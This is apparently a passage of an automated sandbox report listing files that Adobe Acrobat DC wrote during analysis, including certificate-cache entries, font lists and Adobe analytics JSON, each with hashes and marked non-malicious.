C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7091457279625986
Encrypted:	false
SSDEEP:	3:kkFkltzkNttfllXlE/HT8k9s7ttNNX8RolJuRdxLlGB9lQRYwpDdt:kKckPeT80sRNMa8RdWBwRd
MD5:	D99B3299915E3E2AE88AC8CC9D51F32D
SHA1:	AFE2772F777A645BB0F4FA7E9BCC75F201CBFA66
SHA-256:	B81C8F17ED89C2CA82C66148B2D344A3FD4BAA0A6DDBE61F1100E0BE120D846E
SHA-512:	56355EA742B3C4EC298A38AA0BCD05B810B3452C36C943BE9708B3A0CDFAB343420A33439B1CC74AE05DE4AC9E5ADF68827D2B4012E94A8501DF187236E9448E
Malicious:	false
Preview:	p...... .............c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.236892865807448
Encrypted:	false
SSDEEP:	6:kK/L9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:niDImsLNkPlE99SNxAhUe/3
MD5:	CCD91FBB0E293B5EB0A5796B108B8F18
SHA1:	F7DFDB5C5CAC2BD2D29740A21D71DEF7F709C060
SHA-256:	AEE1701462E991151BF3BDFAAE9C8B3FE588D854DBA5D2FDCF47A20B7A21F8FE
SHA-512:	4F1AF112AAA59B71F9B2F9BB96E42724704F815DF7C20B7DD50425C366ECB246662F997F7CBD504A75FE7AF07D0DAA2CD192C16113C349D4892865A029DF6378
Malicious:	false
Preview:	p...... .............c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.940

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.940

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.346689721277395
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPeSx+FIbRI6XVW7+0Y8qoAvJM3g98kUwPeUkwRe9:YvXKXPeSUYpW7zZGMbLUkee9
MD5:	17FB73478F38A4FDCE88644DFC3D3D64
SHA1:	7549C6573CDC35A02E7C2EF7CFED84D1FF7E7562
SHA-256:	5832FA8C679CC534029AD46FA53BA65E18BB0798801CB920D11A1FC1D90FE7D0
SHA-512:	235AA501BA72196FB0E3874A6F1A9A1FA8D20A7BF1F31A8648D42B8C4D204A465188642E6A2DD1930817CBD35F5F4582D1D4C4B24ADEE4E5398CCD0090A97FE9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"79e5e2bb-9f8c-417e-b3a1-98fbee501f24","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736717726869,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.280957678381866
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPeSx+FIbRI6XVW7+0Y8qoAvJfBoTfXpnrPeUkwRe9:YvXKXPeSUYpW7zZGWTfXcUkee9
MD5:	BAE45C7EF9513F54F9DF554193836EC8
SHA1:	7DDC65FE4BC0DE324CDCD0ECFE41C8601ACB7FB0
SHA-256:	61FD91194696711D73F9E4B05A94543317EB095C69E482867D31824CB8E17AAD
SHA-512:	6537DEF0D2394A5B238B0BDC59819A5F5055F965655ED1205DA7003476379BA60684767586A1355ECB455A31A25CBF4C6D806BCC1565DB9981913A119E9EA87B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"79e5e2bb-9f8c-417e-b3a1-98fbee501f24","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736717726869,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.26072932008953
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPeSx+FIbRI6XVW7+0Y8qoAvJfBD2G6UpnrPeUkwRe9:YvXKXPeSUYpW7zZGR22cUkee9
MD5:	CE07806595C768FE6FCBDAD129740B23
SHA1:	384C705A375FD86D282BEE2F497962F5408D09C7
SHA-256:	A624D72E8CB33284312006FAC719FE5B179D6ED6E867EE90F3C655A2BF275860
SHA-512:	A1134FB402B61B91CEE9F01293E418FBD67D76BAD59CC334815994D4FD56A5F0167CF91A9408826FCAA6B3738B193E46184E14202D523E6DD1AADB0807F5D568
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"79e5e2bb-9f8c-417e-b3a1-98fbee501f24","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736717726869,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.324997558052741
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPeSx+FIbRI6XVW7+0Y8qoAvJfPmwrPeUkwRe9:YvXKXPeSUYpW7zZGH56Ukee9
MD5:	2B71F26667501935B9339A4D031D7554
SHA1:	243D99F393EBCF590054F16DD4B9997F3D55E438
SHA-256:	2CF60DBECDA0B1D3BEF661644F456ACCECA7A23CE7C383F0DE3910C94854DC2A
SHA-512:	467908A0DBAEB1771624FD5FF7EC38D1F9BF433C86540C5BE32F45B49D34EA11A89C22168A1B475232B45E899C4A39ABEC591BA2A4AC7528D5A1211FE3B44AC9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"79e5e2bb-9f8c-417e-b3a1-98fbee501f24","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736717726869,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.689385347990714
Encrypted:	false
SSDEEP:	24:Yv6XBiKpLgE9cQx8LennAvzBvkn0RCmK8czOCCSL:YvrKhgy6SAFv5Ah8cv/L
MD5:	4C85042DC34030CF8999CFE5371D7A06
SHA1:	BF93950C57A6F74283874D7DD8E914C149C14C21
SHA-256:	2B24762CA31D2D3C786022DB152A201FE59ED03F6DC183FB1521F751A6587139
SHA-512:	840DF674D48AFEE491739BD6FE28B43B71649081A6529E22AC722FFAE30DF571688DC5B9A2DDCA1653B630702E9558C2C3AF0DEDA542D52356FAA2905BF94E72
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"79e5e2bb-9f8c-417e-b3a1-98fbee501f24","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736717726869,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.2706695840912365
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPeSx+FIbRI6XVW7+0Y8qoAvJf8dPeUkwRe9:YvXKXPeSUYpW7zZGU8Ukee9
MD5:	CDB9EB7E8310F66A7621459CFA0A3374
SHA1:	C938FBEBF984C12AE193E8645DFB24AFD81374EA
SHA-256:	F5129914E54A8E43F07BF819FB55EB05C1BE12C4213C6F13FA69F48913606EEB
SHA-512:	EEC3C5F7BF3DA997163EC2527258A099077711A20AF8941A4C670734274F8459B0B789AF51CD07084BA173A9EDB56D9D572B89D1E82BDF6C4416F6BCCE1F0594
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"79e5e2bb-9f8c-417e-b3a1-98fbee501f24","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736717726869,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.270853400483274
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPeSx+FIbRI6XVW7+0Y8qoAvJfQ1rPeUkwRe9:YvXKXPeSUYpW7zZGY16Ukee9
MD5:	72EDCD25E39AF2C347AB2E725B455031
SHA1:	90E8DA8F65B219C798824C721E5D2241DD02D41A
SHA-256:	25AF064B9DE353407215E733EBC62A00A13C6E39F807B0D9F5F694A83F2377A5
SHA-512:	B26E390A78C70FA888FEC8D09610599E85AEF1FBE7A71E4A58FC235C65A2E01F27B159B010DF58F1C044E0C3AD1623036CEDC9E5EA6B65E78002668C96AAAA3F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"79e5e2bb-9f8c-417e-b3a1-98fbee501f24","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736717726869,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.292953117714437
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPeSx+FIbRI6XVW7+0Y8qoAvJfFldPeUkwRe9:YvXKXPeSUYpW7zZGz8Ukee9
MD5:	46611D0566B3A5869D6716FA968C9682
SHA1:	90EBD1C1D7BBFD1763FBB5D9882FB962AD24B4BF
SHA-256:	173C02AF159523F2E05373A46F6979037C70FB5C96F4DF7D66D53D96822A76A2
SHA-512:	7A72F6E8413615830780875F7770100DB0BED70F44C4DAAE9E0B247D0E9EE1F34AE87AFAA30F663B224F5AD22EEF681C2E0C1B29CC0936413B55D9D7E2E1CCD9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"79e5e2bb-9f8c-417e-b3a1-98fbee501f24","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736717726869,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.297456570158227
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPeSx+FIbRI6XVW7+0Y8qoAvJfzdPeUkwRe9:YvXKXPeSUYpW7zZGb8Ukee9
MD5:	D2B01C791AD9F922424880F976074822
SHA1:	D8CD4025CE2220D6D4DEBE34B968D304C54B6C91
SHA-256:	8859318F77924B244D10E686ABDE8BF532F400288CD832626C7F933EDEC5F4C3
SHA-512:	52A99DD369E5F10EDCA4DB1D756E6AD348F0E5134894C01135D1BD2F399FB8123BA89EB2A50081ADF88771A8CDEDF10CA354C2FF43CD614971880AD0C9FFBBFE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"79e5e2bb-9f8c-417e-b3a1-98fbee501f24","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736717726869,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.277351677194847
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPeSx+FIbRI6XVW7+0Y8qoAvJfYdPeUkwRe9:YvXKXPeSUYpW7zZGg8Ukee9
MD5:	0AB0400EFB744B9CD838E7EA6864DCA7
SHA1:	14B68B9782D1FF5A99797E971C56562542D4569A
SHA-256:	AB3CF21AF6D34CF70C1CBE4FFF20FF5417467FD88E96156BE1E8A0C912072CFD
SHA-512:	B5A78D02BCBC90D9F866224E0ABB67EF3B7BA5824AD9574EAFFA4CA0C910BC1125471B47704B24C913C1968BCB73FEE34A71A0CDEA006F1DADB8AC937E980524
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"79e5e2bb-9f8c-417e-b3a1-98fbee501f24","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736717726869,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.264106254473091
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPeSx+FIbRI6XVW7+0Y8qoAvJf+dPeUkwRe9:YvXKXPeSUYpW7zZG28Ukee9
MD5:	2515AD8D97FAC7E780E79AD6BF767D83
SHA1:	214E0AB37C2A02FCDC4337EE0DC16D266EC1DA12
SHA-256:	700CAB987DAC70FAE9F21C851BCA79A89E0FB1574CDE549903F7B02CC11B27CB
